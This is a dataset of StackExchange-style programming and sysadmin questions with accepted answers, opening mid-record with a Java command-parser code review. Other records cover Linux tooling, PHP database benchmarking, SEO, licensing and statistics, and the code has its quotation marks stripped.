this.commandActionOnMatch = commandActionOnMatch;    }    public void addCommandToken(CommandToken token) {        Objects.requireNonNull(token, The input token is null.);        commandTokenList.add(token);    }    public int size() {        return commandTokenList.size();    }    CommandToken getToken(int index) {        return commandTokenList.get(index);    }    public boolean parse(String command) {        String[] parts = command.trim().split(\\\\s+);        if (parts.length < commandTokenList.size()) {            return false;        }        for (int i = 0; i < commandTokenList.size(); ++i) {            CommandToken token = commandTokenList.get(i);             if (!token.matches(parts[i])) {                return false;            }        }        // We have a match.         if (commandActionOnMatch != null) {            commandActionOnMatch.act(parts);        }        return true;    }}CommandToken.java:package net.coderodde.commandparser;import java.util.Objects;/** * This class implements a command token which may be a keyword, identifier or * value. *  * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */public class CommandToken {    public enum TokenType {        KEYWORD,        IDENTIFIER,        VALUE_INT,        VALUE_LONG,        VALUE_FLOAT,         VALUE_DOUBLE    }    private final TokenType tokenType;    private final String datum;    private final IdentifierValidator identifierValidator;    public CommandToken(TokenType tokenType,                         String datum,                         IdentifierValidator identifierValidator) {        Objects.requireNonNull(tokenType, Input token type is null.);        if (tokenType == TokenType.KEYWORD && datum == null) {            throw new IllegalArgumentException(A keyword string is null for  +                                               a keyword token.);        }        if (tokenType == TokenType.IDENTIFIER && identifierValidator == null) {            throw new IllegalArgumentException(                    A identifier validator is null for an identifier token.);        }        this.tokenType = tokenType;        this.datum = datum;        this.identifierValidator = identifierValidator;    }    TokenType getTokenType() {        return tokenType;    }    boolean matches(String s) {        Objects.requireNonNull(s, The input word is null.);        s = s.trim();        switch (tokenType) {            case KEYWORD: {                return datum.equals(s);            }            case IDENTIFIER: {                return identifierValidator.isValidIdentifier(s);            }            case VALUE_INT: {                try {                    Integer.parseInt(s);                    return true;                } catch (NumberFormatException ex) {                    return false;                }            }            case VALUE_LONG: {                try {                    Long.parseLong(s);                    return true;                } catch (NumberFormatException ex) {                    return false;                }            }            case VALUE_FLOAT: {                try {                    Float.parseFloat(s);                    return true;                } catch (NumberFormatException ex) {                    return false;                }            }            case VALUE_DOUBLE: {                try {                    Double.parseDouble(s);                    return true;                } catch (NumberFormatException ex) {                    return false;                }            }            default:                throw new IllegalStateException(Should not get here ever.);        }    }}CommandAction.java:package net.coderodde.commandparser;/** * This class specifies a functional interface for a routine that handles a  * particular command. *  * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */@FunctionalInterfacepublic interface CommandAction {    public void act(String[] tokens);}IdentifierValidator.java:package net.coderodde.commandparser;/** * * @author rodionefremov */@FunctionalInterfacepublic interface IdentifierValidator {    public boolean isValidIdentifier(String s);}Demo.java:import java.util.HashMap;import java.util.Map;import java.util.Scanner;import net.coderodde.commandparser.CommandAction;import net.coderodde.commandparser.CommandDescriptor;import net.coderodde.commandparser.CommandParser;import net.coderodde.commandparser.CommandToken;import net.coderodde.commandparser.CommandToken.TokenType;import net.coderodde.commandparser.IdentifierValidator;public class Demo {    private static final class MyNewAction implements CommandAction {        private final Map<String, Double> variableMap;        MyNewAction(Map<String, Double> variableMap) {            this.variableMap = variableMap;        }        @Override        public void act(String[] tokens) {            String varName = tokens[1];            double value = Double.parseDouble(tokens[2]);            variableMap.put(varName, value);        }            }    private static final class MyDelAction implements CommandAction {        private final Map<String, Double> variableMap;        MyDelAction(Map<String, Double> variableMap) {            this.variableMap = variableMap;        }        @Override        public void act(String[] tokens) {            String varName = tokens[1];            variableMap.remove(varName);        }            }    private static final class MyPlusAction implements CommandAction {        private final Map<String, Double> variableMap;        MyPlusAction(Map<String, Double> variableMap) {            this.variableMap = variableMap;        }        @Override        public void act(String[] tokens) {            String varName1 = tokens[0];            String varName2 = tokens[2];            if (!variableMap.containsKey(varName1)) {                System.out.println(varName1 + : no such variable.);                return;            }            if (!variableMap.containsKey(varName2)) {                System.out.println(varName2 + : no such variable.);                return;            }            System.out.println(variableMap.get(varName1) +                                variableMap.get(varName2));        }            }    private static final class MyShowAction implements CommandAction {        private final Map<String, Double> variableMap;        MyShowAction(Map<String, Double> variableMap) {            this.variableMap = variableMap;        }        @Override        public void act(String[] tokens) {            String varName = tokens[0];            if (!variableMap.containsKey(varName)) {                System.out.println(varName + : no such variable.);                return;            }            System.out.println(variableMap.get(varName));        }            }    private static final IdentifierValidator myIdentifierValidator =     new IdentifierValidator() {        @Override        public boolean isValidIdentifier(String s) {            if (s.isEmpty()) {                return false;            }            char[] chars = s.toCharArray();            if (!Character.isJavaIdentifierStart(chars[0])) {                return false;            }            for (int i = 1; i < chars.length; ++i) {                if (!Character.isJavaIdentifierPart(chars[i])) {                    return false;                }            }            return true;        }    };    private static CommandParser buildCommandParser(Map<String, Double> map) {        CommandParser parser = new CommandParser();        MyNewAction newAction = new MyNewAction(map);        MyDelAction delAction = new MyDelAction(map);        MyPlusAction plusAction = new MyPlusAction(map);        MyShowAction showAction = new MyShowAction(map);        //// Start creating command descriptors.        // 'new' command.        CommandDescriptor descriptorNew = new CommandDescriptor(newAction);        descriptorNew.addCommandToken(new CommandToken(TokenType.KEYWORD,                                                        new,                                                        null));        descriptorNew.addCommandToken(new CommandToken(TokenType.IDENTIFIER,                                                       null,                                                       myIdentifierValidator));        descriptorNew.addCommandToken(new CommandToken(TokenType.VALUE_DOUBLE,                                                       null,                                                       null));        // 'del' command.        CommandDescriptor descriptorDel = new CommandDescriptor(delAction);        descriptorDel.addCommandToken(new CommandToken(TokenType.KEYWORD,                                                       del,                                                       null));        descriptorDel.addCommandToken(new CommandToken(TokenType.IDENTIFIER,                                                       null,                                                       myIdentifierValidator));        // '+' command. Adding two variable. If you want to add with constants        // as well, just adde more descriptors with particular IDENTIFIER         // tokens.        CommandDescriptor descriptorPlus = new CommandDescriptor(plusAction);        descriptorPlus.addCommandToken(new CommandToken(TokenType.IDENTIFIER,                                                        null,                                                        myIdentifierValidator));        descriptorPlus.addCommandToken(new CommandToken(TokenType.KEYWORD,                                                        +,                                                        null));        descriptorPlus.addCommandToken(new CommandToken(TokenType.IDENTIFIER,                                                        null,                                                        myIdentifierValidator));        // 'show' command.        CommandDescriptor descriptorShow = new CommandDescriptor(showAction);        descriptorShow.addCommandToken(new CommandToken(TokenType.IDENTIFIER,                                                        null,                                                        myIdentifierValidator));        parser.add(descriptorNew);        parser.add(descriptorDel);        parser.add(descriptorPlus);        parser.add(descriptorShow);        return parser;    }    public static void main(String[] args) {        Map<String, Double> variableMap = new HashMap<>();        CommandParser parser = buildCommandParser(variableMap);        Scanner scanner = new Scanner(System.in);        while (true) {            System.out.print(> );            String command = scanner.nextLine().trim();            if (command.equals(quit)) {                break;            }            parser.process(command);        }        System.out.println(Bye!);    }}A simple session might go this way:> new A 29> new B 26> A29.0> B26.0> B + A55.0> del B> B + AB: no such variable.> quitBye!"  , "title": "Simple REPL command parser in Java"  , "tags": "java;console;library"  } 
{  "id": "_webapps.22033"  , "question": "When I do Ctrl+F in Google Docs, it shows the document find view. What I would like is the browser find view when in Google Chrome. What keys do I need to press to do a browser Ctrl+F in Google Docs in Google Chrome? Currently the web app will take control of that hotkey combination when opened."  , "title": "Ctrl + F not working for browser page search when using Google Docs"  , "tags": "google drive;search;google chrome"  , "accepted_answer": "You are looking for a keyboard solution that will open the Chrome find bar even when Ctrl+F is redefined on the page.Judging by the keys you normally use, you are a Windows user. On Windows, press Alt+F, then press F. This solution uses menu shortcuts to open the find bar.Alternatively, you can mouse click the wrench button and mouse click Find...."  } 
{  "id": "_webmaster.95301"  , "question": "I have some questions about German SEO. Some words we are optimizing have high monthly search, and good rank in Google.de, but these pages focusing on the keywords don't have any traffic. What's wrong with it?PS: The keywords'monthly searches data is from Google Adwords, and the rank is checked manually (with German IP). "  , "title": "The German keywords with high monthly searches and good ranks in Google haven't any traffic"  , "tags": "seo;google search;keywords;google adwords;traffic"  } 
{  "id": "_opensource.5878"  , "question": "I have developed a software and I will publish it for free. But this software includes the following programs:The app is developed using Electron (License: MIT)Electron uses Chromium (It is combined with different licenses)NOTE: Once the application is packaged, automatically Electron and Chromium license files are included in the root folder.node.js (License)nginx (License) - Also there other license files (zlib, openssl etc) in the downloaded packagePHP (License: PHP License) - Also it includes other license files of other apps it includes.Fet Scheduler (License: GNU AGPL v3)Laravel (License: MIT)My files are Laravel Controllers, Models and Views. Once the app is started, first nginx and PHP start and then my PHP website is displayed in a chromium browser.All of these apps included in one setup file.What can be the correct license for this app? A single license file or multiple license files in their folders (PHP, nginx etc.)?"  , "title": "What must be the license of a software including other apps with different licenses?"  , "tags": "licensing;mit;relicensing;agpl 3.0"  } 
{  "id": "_unix.75981"  , "question": "Red Hat docs say:To see which installed packages on your system have updates available,  use the following command:yum check-updateWhat command must I run to view all available versions for a package installed on my system?Example: yum check-update tells me java6 update #43 is available, but what if I want update #40?"  , "title": "Yum Check Available Package Updates"  , "tags": "rhel;yum"  , "accepted_answer": "It won't focus specifically on one package because it's using a regex to do the matching but I often use this:$ yum list available java\\*java-1.4.2-gcj-compat.i386                                                   1.4.2.0-40jpp.115                                                      installedjava-1.6.0-openjdk.i386                                                      1:1.6.0.0-1.36.1.11.9.el5_9                                            installedAvailable Packagesjava-1.4.2-gcj-compat-devel.i386                                             1.4.2.0-40jpp.115                                                      base     java-1.4.2-gcj-compat-javadoc.i386                                           1.4.2.0-40jpp.115                                                      base     java-1.4.2-gcj-compat-src.i386                                               1.4.2.0-40jpp.115                                                      base     java-1.6.0-openjdk.i386                                                      1:1.6.0.0-1.40.1.11.11.el5_9                                           updates  java-1.6.0-openjdk-demo.i386                                                 1:1.6.0.0-1.40.1.11.11.el5_9You can make it smarter by filtering the output using grep."  } 
{  "id": "_cs.54688"  , "question": "When reading up on the UCT1 algorithm (I'm writing a Monte Carlo tree search), I'm having trouble with the formula.$$\\frac{w_i}{n_i} + \\sqrt{\\frac{\\ln t}{n_i}}$$Wikipedia, this guy, and this guy all say that $t$, or whatever else they use for that variable, equals the total number of simulations. What does this mean, exactly? The total number of simulations in the entire tree? The child nodes of that particular node? The sibling nodes? So, what is the $t$ is this equation? Thanks!"  , "title": "UCT1 Algorithm: What does total number of simulations mean?"  , "tags": "algorithms;trees;search trees;monte carlo"  , "accepted_answer": "The UCT1 algorithm is actually an algorithm for a multi-armed bandit. There is a machine with several arms. At each round you pull one of the arms and get some reward. Your goal is to maximize your total reward. In this algorithm, $t$ is the round number  $t = 1$ in the first round, $t = 2$ in the second round, and so on.When using UCT1 to perform Monte Carlo tree search, you treat each explored node as a multi-armed bandit. Monte Carlo tree search consists of several rounds of simulations: in each round a complete game is played out. The value of $t$ for a particular node is the number of rounds at which you passed through the node."  } 
{  "id": "_unix.382299"  , "question": "I have a text file with list of .XML files.I need an absolute path of each XML in file.Tried following shell script but after lots of try,find command is not working inside do tag.    #!/bin/sh    NAMES=`cat list2.txt`    for NAME in $NAMES;    do     echo $NAME     find $PWD -type f -name $NAME   doneHelp me to solve this."  , "title": "Need absolute path for each line from a text file using shell script"  , "tags": "find"  } 
{  "id": "_codereview.54139"  , "question": "I've written a small script to benchmark our LAMP hosted servers that assess the performance based on three factors:Disk I/ODatabase I/O (mysql)Database I/O (sqlite)The logic is as follows:get the type of test performed using a querystring value.generate a big random string of 100KB.If (disk-i/o)write this line to a random file 500 times.else if (mysql i/o)insert this as record in a mysql table 500 times.else if (sqlite i/o)insert this as record in a sqlite table 500 times.Write back to response all variables such as the big string ($payload), time taken to write ($wtime), etc..The program is working fine, but the database i/o is taking way more time than the file i/o. In one test instance, file i/o took only 1.5 seconds, whilst db i/o took 43 seconds! Can you help me with streamlining this code?<?php//index.php$mysqlserver = 'localhost';$mysqlusername = 'test';$mysqlpassword='test';$mysqldatabase='test';$iterations=500;$payload=; //generate a random string of 108KB and a random filename$fname='';$rtime=0; //in milliseconds$wtime=0;$gentime=0;$type='';$db = null;$mysqli = null;if (isset($_REQUEST['type'])) $type=$_REQUEST['type'];//generate:$start = microtime(true);for($i=0;$i<108000;$i++) //generate a big string{    $n=rand(0,57)+65;    $payload = $payload.chr($n);}$gentime=round((microtime(true) - $start)*1000);//write test:$start = microtime(true);    if ($type=='sqlite') //sqlite test    {        $db = new SQLite3(benchmark.db);        $db->exec('create table temp(t text)');        $db->exec(begin);        $stmt = $db->prepare(insert into temp values(:id));        for($i=0;$i<$iterations;$i++) {            $stmt->bindValue(':id', $payload, SQLITE3_TEXT);            $stmt->execute();            //$db->exec(delete from temp);            };        $db->exec(commit);    }    else if ($type=='mysql') //mysql test    {        $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase);        $mysqli->query('create table temp(t varchar(108000))');        $mysqli->query('begin transaction');        for($i=0;$i<$iterations;$i++)             $mysqli->query(insert into temp values('{$payload}'));        $mysqli->query('commit');    }    else // Disk I/O    {        $fname = chr(rand(0,57)+65).chr(rand(0,57)+65).chr(rand(0,57)+65).chr(rand(0,57)+65).'.txt';        for($i=0;$i<$iterations;$i++) file_put_contents($fname,$payload);    }$wtime=round((microtime(true) - $start)*1000);//read test:$start = microtime(true);$result = '';if ($type=='sqlite'){    for($i=0;$i<$iterations;$i++) {        $result = $db->query(select t from temp limit 1);        $result = $result->fetchArray()['t'];        //$db->exec(delete from temp);    };        //var_dump($result);}else if ($type=='mysql'){    $stmt = $mysqli->prepare('select t from temp limit 1');    if ($stmt)     {        for($i=0;$i<$iterations;$i++) {            $stmt->execute();            $stmt->bind_result($result);            $stmt->fetch();        };    }}else{    for($i=0;$i<$iterations;$i++) $result = file_get_contents($fname);}$rtime=round((microtime(true) - $start)*1000);//cleanup:  if ($type=='sqlite') {        $db->exec(drop table temp);        $db->close();}else if ($type=='mysql') {    $mysqli->query('drop table temp');}else {    unlink($fname);}//return:$result =  array(    'type'=>($type==''?'disk':$type),    'iterations'=>$iterations,    'generate_time'=>$gentime,    'write_time'=>$wtime,    'read_time'=>$rtime,    'server_software'=>$_SERVER[SERVER_SOFTWARE],    'payload'=>$result,);echo json_encode($result);"  , "title": "Benchmarking our LAMP servers with this php script"  , "tags": "php;mysql;linux;sqlite"  , "accepted_answer": "To address the database code stuff. I don't know much about PHP, but I've heard from good sources don't concatenate SQL queriesThat said, I feel that part of the reason your database calls are slower is because you are just passing ad-hoc scripts to the RDBMS so it has to figure out the execution plan each time since it is not stored. Best practice for performance is to let the RDBMS do as much of the DB work as possible, as that is what it's good at. Let's suppose you ran this script just once in MySQL:DROP TEMPORARY TABLE IF EXISTS tt_mysqli_benchmark;CREATE TABLE tt_mysqli_benchmark     (    t VARCHAR(108000)    );-- Ad hoc code to create stored procedureCREATE PROCEDURE sp_mysqli_benchmark     (    IN p_payload VARCHAR(108000)    );BEGIN    DELIMITER //    DELETE FROM tt_mysqli_benchmark ;    INSERT INTO tt_mysqli_benchmark (t)    VALUES (p_payload);DELIMITER ;END;Then this section of your PHP script:    else if ($type=='mysql') //mysql test    {        $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase);        $mysqli->query('create table temp(t varchar(108000))');        $mysqli->query('begin transaction');        for($i=0;$i<$iterations;$i++)             $mysqli->query(insert into temp values('{$payload}'));        $mysqli->query('commit');    }Would become:    else if ($type=='mysql') //mysql test    {        $mysqli = new mysqli($mysqlserver, $mysqlusername, $mysqlpassword, $mysqldatabase);        $mysqli->query(CALL sp_mysqli_benchmark('{$payload}'));    }My PHP syntax may be slightly off. As you can see though, the PHP is cleaner, and only parameters are passed to the RDBMS, which makes it better able to optimize it, and lets it remember the execution plan for next time since the procedure is stored. I don't know as much about SQLite but it likely is very similar, if not simpler. "  } 
{  "id": "_vi.4606"  , "question": "I try to do a substitution from a vim script and to operate over a captured group like so:let string = {b1} {b2} ({b3})echo substitute(string, {\\([^}]*\\)}, a, g)It doesn't match anything and the result doesn't change.If I remove the \\( \\):echo substitute(string, {[^}]*}, a, g)Then the whole {b1} is replaced with a, when I only want to replace the content of it: {a}.I have read that the pattern in the substitute command always work in magic mode. And that in the magic mode, the capture group is: \\( \\).Do you know the trick to make this work?Edit:Thanks to Christian Brabandt I was able to make it work (see his answer below). I had to change the \\( \\) to \\zs \\ze also."  , "title": "Capture group in substitute function"  , "tags": "vimscript;regular expression;substitute"  , "accepted_answer": "In double-quote strings, the backslash has a special meaning. And will probably be skipped when parsing the quoted string. The details can be seen at :h expr-quote. You would have to double the slashes to make that work. Therefore, it is usually easier to read and maintain using single quoted strings. See :h literal-string as there the backslash won't be skipped."  } 
{  "id": "_cogsci.6189"  , "question": "Since I lack of academic formation please be tolerant if I write something not correct.As you know the Myers-Briggs Type Indicator (MBTI) test is based on 4 personality dimensions (E/I, S/N, T/F, J/P) each of which can assume two possible values (I think the name is trait) for a total of 16 clusters. linkThere are gender differences with regard to a number of psychological variables (see for example gender roles and wikipedia Sex differences in human psychology). These differences may be due to education, culture, hormonal difference and so on.According to the stereotype, many women are more judging than men. Does any empirical evidence show that the prevalence of Judging is higher in women compared to men?"  , "title": "Are woman more Judging than men in the MBTI?"  , "tags": "personality;gender;mbti"  , "accepted_answer": "The MBTI is widely used in applied contexts, such as for personnel selection. Nevertheless, it is hardly used in scientific research on personality because its theoretical basis questionable, because its validity is limited, and because its reliability is inferior to other established measures of personality (for a starting point to criticisms of the MBTI see McCrea & Costa, 1989 and this earlier post). For these reasons it is unlikely that you will find reliable data on gender differences in the MBTI.However, it has been shown that the MBTI traits overlap with those of the Big Five (the most widely adopted model of personality) and gender differences with regard to the Big Five have been studied extensively. The MBTI Judging dimension and its Perceiving counterpart overlap to a large extent with the Big Five trait conscientiousness (e.g., Furnham, 1996, McCrea & Costa, 1989). This is not surprising if you look at how Judging vs. Perceiving and conscientiousness are measured:Judging vs. Perceiving is measured by having people choose between sentence pairs such asI like to have things decided. vs. I like to stay open to respond to whatever happens.I like to make lists of things to do. vs. I appear to be loose and casual. I like to keep plans to a minimum.I like to get my work done before playing. vs. I like to approach work as play or mix work and play.I plan work to avoid rushing just before a deadline. vs. I am stimulated by an approaching deadline.Conscientiousness is measured by items such asI get chores done right away.I carry out my plans.I stick to my chosen path.Thus, there appears to be a clear semantic overlap between the two constructs.Are there gender differences with regard to conscientiousness? According to a large scale meta analysis (with data from more than 23.000 participants from 26 nations, Costa et al. 2001), 1. there are far more personality differences within the genders than between genders 2. for conscientiousness there doesn't seem to be a detectable gender difference.ReferencesCosta Jr., P., Terracciano, A., & McCrae, R. R. (2001). Gender differences in personality traits across cultures: Robust and surprising findings. Journal of Personality and Social Psychology, 81, 322331. doi:10.1037/0022-3514.81.2.322Furnham, A. (1996). The big five versus the big four: the relationship between the Myers-Briggs Type Indicator (MBTI) and NEO-PI five factor model of personality. Personality and Individual Differences, 21, 303307. doi:10.1016/0191-8869(96)00033-5McCrae, R. R., & Costa, P. T. (1989). Reinterpreting the Myers-Briggs Type Indicator From the Perspective of the Five-Factor Model of Personality. Journal of Personality, 57, 1740. doi:10.1111/j.1467-6494.1989.tb00759.x"  } 
{  "id": "_unix.326127"  , "question": "I am running a small linux server at home, and I am writing a script to log the temperature of the CPU cores every 5 seconds, but I need timestamps for it to be useful. So far I have something that saves the output of the sensors command into a file, and I have a command that prints the date and time. I just need to figure out how to combine those two.sensors | grep ^Core* >> temps.log saves temps in temps.log in following format:Core 0:       +39.0C  (high = +76.0C, crit = +100.0C)Core 1:       +40.0C  (high = +76.0C, crit = +100.0C)and for the date I can either do date +%m/%d/%y-%H:%M:%S which returns mm/dd/yy-hh:mm:ssI googled around and saw someone suggesting the use of gawk but I have absolutely no idea how gawk works."  , "title": "How do I append/prepend a timestamp to grep output?"  , "tags": "grep;logs;timestamps;gawk;temperature"  , "accepted_answer": "If I understand correctly, what you want to accomplish is to prepend the current date to every line that is output by grep. This is an easy task for a bash script:sensors | grep ^Core |\\(  DATE=$(date +%m/%d/%y-%H:%M:%S)  while read LINE  do    echo $DATE $LINE  done) >> temps.log"  } 
{  "id": "_unix.108952"  , "question": "We have recently purchased Gigabyte 990xe-ud3 motherboards. It came with Realtek LAN conroller. However with CentOS 6.5 it is not working, i.e. although it shows that it's connected with network, it is really not. On searching I found r8169 drivers to be likely a problem so I followed remedy given in foxhop.net article about Realtek NIC r8169 dropping packets in Ubuntu and Fedora.But it's still the same. Though Broadcom network card works perfectly.lspci output for Realtek card:4:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06)  Subsystem: Gigabyte Technology Co., Ltd Motherboard  Flags: bus master, fast devsel, latency 0, IRQ 58  I/O ports at d000 [size=256]  Memory at d2104000 (64-bit, prefetchable) [size=4K]  Memory at d2100000 (64-bit, prefetchable) [size=16K]  Capabilities: [40] Power Management version 3  Capabilities: [50] MSI: Enable+ Count=1/1 Maskable- 64bit+  Capabilities: [70] Express Endpoint, MSI 01  Capabilities: [b0] MSI-X: Enable- Count=4 Masked-  Capabilities: [d0] Vital Product Data  Capabilities: [100] Advanced Error Reporting  Capabilities: [140] Virtual Channel  Capabilities: [160] Device Serial Number 01-00-00-00-68-4c-e0-00  Kernel driver in use: r8169  Kernel modules: r8169lspci output for Broadcom card:Ethernet controller: Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express  Subsystem: Broadcom Corporation NetXtreme BCM5722 Gigabit Ethernet PCI Express  Flags: bus master, fast devsel, latency 0, IRQ 59  Memory at fe300000 (64-bit, non-prefetchable) [size=64K]  Expansion ROM at <ignored> [disabled]  Capabilities: [48] Power Management version 3  Capabilities: [50] Vital Product Data  Capabilities: [58] Vendor Specific Information: Len=78 <?>  Capabilities: [e8] MSI: Enable+ Count=1/1 Maskable- 64bit+  Capabilities: [d0] Express Endpoint, MSI 00  Capabilities: [100] Advanced Error Reporting  Capabilities: [13c] Virtual Channel  Capabilities: [160] Device Serial Number 00-10-18-ff-fe-ea-59-47  Capabilities: [16c] Power Budgeting <?>  Kernel driver in use: tg3  Kernel modules: tg3Is there any way to get it working with some other drivers etc?"  , "title": "Realtek r8169 not working in CentOS 6.5"  , "tags": "centos;realtek"  } 
{  "id": "_softwareengineering.271300"  , "question": "This code: Double.parseDouble(ABC)throws a NumberFormatException.Why is it wrong to expect a Double.NaN (NaN is literally Not-A-Number).A working example is this:public static void main(String[] args) {    System.out.println(Is ABC a number?  + Double.isNaN(Double.parseDouble(ABC));}I expect Is ABC not a number? true as output. Why must this be an Exception?"  , "title": "Why Double.parseDouble(ABC) not returns Double.NaN?"  , "tags": "java;parsing"  , "accepted_answer": "NaN has a very specific meaning as the result of an undefined numerical operation such as division by zero or taking the square root of a negative number (within the realm of real numbers).  It's not an appropriate return value from code that parses a floating point number.  Code like that should signal an error when it comes across text that can't be parsed as a number.Also, as others have mentioned, it's a consistency issue.  Only floating point values even have a NaN.  Integer and boolean types don't.  parseX() should behave the same way in all cases where possible.  This is called the principle of least surprise.  That is, design things in the most consistent way possible to avoid surprising others using your APIs."  } 
{  "id": "_webmaster.95830"  , "question": "I handle the SEO of the company's website. Last month we peaked at a national Alexa Rank of around 30,000, but in the past 3 weeks it has gone down to 50,000. The executives at my company consider Alexa Rank as a major growth indicator. Traffic has plateaued/minute increase over the past 3 weeks. Though, I am continuously addressing avenues for SEO on the website, we are seeing a downward trend.Question is that is Alexa a good representation of growth?"  , "title": "Is Alexa Rank a true representation of growth?"  , "tags": "seo;pagerank;ranking;alexa"  } 
{  "id": "_unix.111462"  , "question": "How can I remove all software installed on my Linux distribution? I'm using Debian:$ uname -aLinux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/LinuxI want to go back to the original installed software.Is there any built-in way to do it in a single command?"  , "title": "How to remove all software"  , "tags": "debian;software installation;package management"  } 
{  "id": "_unix.353061"  , "question": "For a project I want to use wget in a cron to download a data file. In the wget statement, a start- and enddate have to be defined in the following format: wget --post-data=stns=235&vars=TEMP&start=YYYYMMDDHH&end=YYYYMMDDHHSince I want it to be done by a cron job, I would like the start- and enddate to be set automatically. More specific, I would like the startdate to be set to '1 hour ago' and the enddate to 'now'. There has been a similar question in the post Using date -1day with wget. Here the suggested solution was to put the variables between single quotes, but this did not work. E.g.:[...]start='`date -d yesterday +%Y%m%d%H'&end=`date +%Y%m%d%H`I simply got the error Error 400: Bad request when trying to execute the wget-statement in the terminal.Thank you. "  , "title": "Using date variable with wget --post-data"  , "tags": "shell script;cron;date;wget"  , "accepted_answer": "Within a cron job, % is special and must be escaped. Also, backquote syntax is best avoided. I would suggest something like the following:wget --post-data=start=$(date ... +\\%Y\\%m\\%d\\%H)&end=$(date ... +\\%Y\\%m\\%d\\%H)&..."  } 
{  "id": "_unix.207278"  , "question": "I'm new in Unix, am trying to extract specific file(by using one command) form this kind of folder structure:.../file1.ear/file2.war/folder1/folder2/fileToExtract.txt What I do now is extract the first ear file to a folder (unzip), then extract the second war file to a folder and only then I am able to open the txt file in Unix."  , "title": "Extract specific file from complex war archive structure"  , "tags": "zip"  } 
{  "id": "_datascience.8792"  , "question": "Is there a fundamental difference between building a set on N logistic regressions in 1 vs all fashion, as compared to training a single mutlinomial logistic regression? Put another way, are there any optimization techniques that treat the 1 to N classes logistic regression problem in a way that's markedly different from N independent regressions? Intuitively is seems like the answer ought to be yes, since there should be a lot of information sharing between various problems if two classes are similar. But since I'm not entirely well versed on how  common 1 to N solvers actually work, I can't tell if I'm right or these problems are treated in ways that fundamentally the same. I think that we can see that there could be a difference between the two models, but I'm not entirely sure. Googling the matter revealed a few arcane discussing about the subject, but I was unable to find an authoritative discussion of the matter. "  , "title": "Difference between multinomia logistic regression and N 1 vs all binary"  , "tags": "logistic regression;multiclass classification"  } 
{  "id": "_unix.342219"  , "question": "I am working on configuring a VLAN on NixOS. I successfully set it up with the following Nix config:networking.vlans = {    vlan46 = {      id = 46;      interface = eth1;    }; };networking.interfaces.vlan46.ipAddress = 10.0.3.10;networking.interfaces.vlan46.prefixLength = 24;The issue is that whenever I reboot the machine, the IP is no longer assigned to the VLAN interface. When digging a little bit, I found that a systemd service named network-addresses-vlan46.service is in a failed state. When I start that service manually, the IP is assigned again.These are journalctl events right after the reboot:Feb 03 09:56:12 nixos-machine systemd[1]: Starting Vlan Interface vlan46...Feb 03 09:56:12 nixos-machine vlan46-netdev-start[671]: RTNETLINK     answers: Network is downFeb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Main process exited, code=exited, status=2/INVALIDARGUMENTFeb 03 09:56:12 nixos-machine systemd[1]: Failed to start Vlan Interface vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Unit entered failed state.Feb 03 09:56:12 nixos-machine systemd[1]: vlan46-netdev.service: Failed with result 'exit-code'.Feb 03 09:56:12 nixos-machine systemd[1]: Found device /sys/subsystem/net/devices/vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: Starting Address configuration of vlan46...Feb 03 09:56:12 nixos-machine network-link-vlan46-start[682]: Configuring link...Feb 03 09:56:12 nixos-machine network-addresses-vlan46-start[681]: bringing up interface...Feb 03 09:56:12 nixos-machine systemd[1]: Starting Link configuration of vlan46...Feb 03 09:56:12 nixos-machine network-addresses-vlan46-start[681]: RTNETLINK answers: Network is downFeb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Main process exited, code=exited, status=2/INVALIDARGUMENTFeb 03 09:56:12 nixos-machine systemd[1]: Failed to start Address configuration of vlan46.Feb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Unit entered failed state.Feb 03 09:56:12 nixos-machine systemd[1]: network-addresses-vlan46.service: Failed with result 'exit-code'.Feb 03 09:56:12 nixos-machine systemd[1]: Started Link configuration of vlan46.Feb 03 09:56:16 nixos-machine ntpd[532]: Listen normally on 6 vlan46 [fe80::a00:27ff:fea6:4b5b%4]:123Feb 03 09:56:19 nixos-machine ntpd[857]: Listen normally on 7 vlan46 [fe80::a00:27ff:fea6:4b5b%4]:123Not sure why it's detecting network as down and failing while it is successful when I start the service manually.Any ideas? Thanks."  , "title": "VLAN configuration on NixOS: IP is no longer mapped after reboot"  , "tags": "nixos;vlan"  } 
{  "id": "_softwareengineering.313424"  , "question": "For my thesis I am trying to extract some data from Excel.I want to create a list with the name as in excel and then append the values to said list so I can work with it.         EDITI realize I was unclear in my last post. This is simply because it was hard to find material on openpyxl (I didn't find the documentation that useful)After some research I accomplished some things:I will first explain the processIn excel I have many columns with a header=name of stockand below values for said stock.Step 1 would be read the columns and differentiate between namesstep 2 create a dictionary from those columns with the key being the name of stockstep 3 is to calculate an average with a function that excludes the input stock from the average .so avg(dictionary,stock i) would calculate the average of my dictionary values while excluding stock iWB=load_workbook(filename=)ws = WB.activeStockslist={}i=0for col in ws.columns:    print(we are at column; +str(i))    i+=1for cell in col:    if cell.value== or cell.value==None:        print (empty column)        break    if type(cell.value)==unicode:        print ( we entered name)        Stock=str(cell.value)    else:        Stockslist.setdefault(Stock,[]).append(cell.value)This creates a dictionary with the values,now lets calculate the average while excluding a certain stock      def CalcAverage(stockslist,stock):#stockslist is a dict, stock is a key in said dictionary          stocki=Stockslist.pop(stock)#remove stock we wanna exclude from dictionary          avgvalues=[]#create a list that will constitute average values          for k,v in Stockslist.iteritems():              print k              avgvalues.append(sum(v)/float(len(v)))         return avgvalues,stockinow my question is suppose I have:        stockslist={APPLE:[1,2,3],TESLA:[4,5,6],GOOGLE:[7,8,9]}I don't want to create a list that has the average value for apple values and so on. This has been explained many times before on Stack ExchangeI want to get a list that comprises the mean in a pairwise progression kind of wayso AVGVALUE would be avgvalues=[1+4+7/3, avg of 2Nd values of Stockslist and so on..]So not as in my code above where I calculate the average per stock and then append it."  , "title": "OPENPYXL tutorial / help with AVERAGE DICTIONARY"  , "tags": "python;excel"  } 
